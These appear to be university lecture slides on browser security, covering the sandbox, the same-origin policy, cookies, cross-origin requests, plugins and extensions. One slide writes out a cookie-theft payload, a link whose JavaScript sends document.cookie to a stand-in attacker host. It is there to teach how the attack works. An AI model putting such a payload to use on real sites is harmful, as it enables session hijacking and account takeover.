Admin

• Assignments
  – HW2 due Friday
  – Lab 2 out on Monday (due 2 weeks later)
    • Sign up this week; new groups okay!
    • Overview of lab setup in section this week
  – Project checkpoint 1 coming up

• This week…
  – W/F in-class activities optional
  – Please reach out if you need additional support
Big Picture: Browser and Network

Browser

OS

Hardware

request

reply

website

Network
Where Does the Attacker Live?

Mitigation: SSL/TLS (not covered further)

Mitigation: Browser security model + web app security (this/next week)
Two Sides of Web Security

(1) Web browser
   - Responsible for securely confining content presented by visited websites

(2) Web applications
   - Online merchants, banks, blogs, Google Apps ...
   - Mix of server-side and client-side code
     • Server-side code written in PHP, Ruby, ASP, JSP
     • Client-side code written in JavaScript
   - Many potential bugs: XSS, XSRF, SQL injection
All of These Should Be Safe

• Safe to visit an evil website

• Safe to visit two pages at the same time

• Safe delegation
Browser Security Model

**Goal 1:** Protect local system from web attacker
→ Browser Sandbox

**Goal 2:** Protect/isolate web content from other web content
→ Same Origin Policy (plus sandbox)
Browser Sandbox

Goals: Protect local system from web attacker; protect websites from each other

– E.g., safely execute JavaScript provided by a website
– No direct file access, limited access to OS, network, browser data, content from other websites
– Tabs (new: also iframes!) in their own processes
– Implementation is browser and OS specific*

*For example, see: https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md

<table>
<thead>
<tr>
<th>High-quality report with functional exploit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sandbox escape / Memory corruption in a non-sandboxed process</td>
</tr>
</tbody>
</table>

From Chrome Bug Bounty Program
### Same Origin Policy

**Goal:** Protect/isolate web content from other web content

**Website origin** = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example from Wikipedia]
Same Origin Policy is Subtle!

• Some examples of how messy it gets in practice...
• Browsers don’t (or didn’t) always get it right...

• Lots of cases to worry about it:
  – DOM / HTML Elements
  – Navigation
  – Cookie Reading
  – Cookie Writing
  – Iframes vs. Scripts
**HTML + DOM + JavaScript**

```html
<html>
<body>
<h1>This is the title</h1>
<div>
<p>This is a sample page.</p>
<script>alert("Hello world");</script>
<iframe src="http://example.com"></iframe>
</div>
</body>
</html>
```
Same-Origin Policy: DOM

Only code from same origin can access HTML elements on another site (or in an iframe).

- www.bank.com (the parent) can access HTML elements in the iframe (and vice versa).
- www.evil.com (the parent) cannot access HTML elements in the iframe (and vice versa).
Browser Cookies

- HTTP is stateless protocol
- **Browser cookies used to introduce state**
  - Websites can store small amount of info in browser
  - Used for authentication, personalization, tracking...
  - Cookies are often secrets

![Diagram of HTTP requests and cookies](image)
Same Origin Policy: Cookie Reading

• Websites can only read/receive cookies from the same domain
  – Can’t steal login token for another site 😊
Same-Origin Policy: Scripts

• When a website includes a script, that script runs in the context of the embedding website.

```html
www.example.com

<script src="http://otherdomain.com/library.js"></script>
```


• If code in script sets cookie, under what origin will it be set?
• What could possibly go wrong...?
Foreshadowing:
SOP Does Not Control Sending

• A webpage can send information to any site
• Can use this to send out secrets...
Example: Cookie Theft

- Cookies often contain authentication token
  - Stealing such a cookie == accessing account
- Cookie theft via malicious JavaScript
  `<a href="#" onclick="window.location='http://attacker.com/stole.cgi?cookie=\'+document.cookie; return false;"">Click here!</a>`

- Aside: Cookie theft via network eavesdropping
  - Cookies included in HTTP requests
  - One of the reasons HTTPS is important!
Firesheep

https://codebutler.github.io/firesheep/
Cross-Origin Communication

• Sometimes you want to do it...

• Cross-origin network requests
  – Access-Control-Allow-Origin: <list of domains>
    • Unfortunately, often:
      Access-Control-Allow-Origin: *

• Cross-origin client side communication
  – HTML5 postMessage between frames
    • Unfortunately, many bugs in how frames check sender’s origin
What about Browser Plugins?

- **Examples**: Flash, Silverlight, Java, PDF reader
- **Goal**: enable functionality that requires transcending the browser sandbox
- **Increases browser’s attack surface

Java and Flash both vulnerable—again—to new 0-day attacks

Java bug is actively exploited. Flash flaws will likely be targeted soon.

by Dan Goodin (US) - Jul 13, 2015 9:11am PDT

- **Good news**: plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)
“As of mid-October 2020, users started being prompted by Adobe to uninstall Flash Player on their machines since Flash-based content will be blocked from running in Adobe Flash Player after the EOL Date.”
What about Browser Extensions?

• Most things you use today are probably extensions
• **Examples**: AdBlock, Ghostery, Mailvelope
• **Goal**: Extend the functionality of the browser

• (Chrome:) Carefully designed security model to protect from malicious websites
  – **Privilege separation**: extensions consist of multiple components with well-defined communication
  – **Least privilege**: extensions request permissions
What about Browser Extensions?

• But be wary of malicious extensions: **not subject to the same-origin policy** – can inject code into any webpage!
Stepping Back

• Browser security model
  – Browser sandbox: isolate web from local machine
  – Same origin policy: isolate web content from different domains
  – Also: Isolation for plugins and extensions

• Web application security (next few lectures)
  – How (not) to build a secure website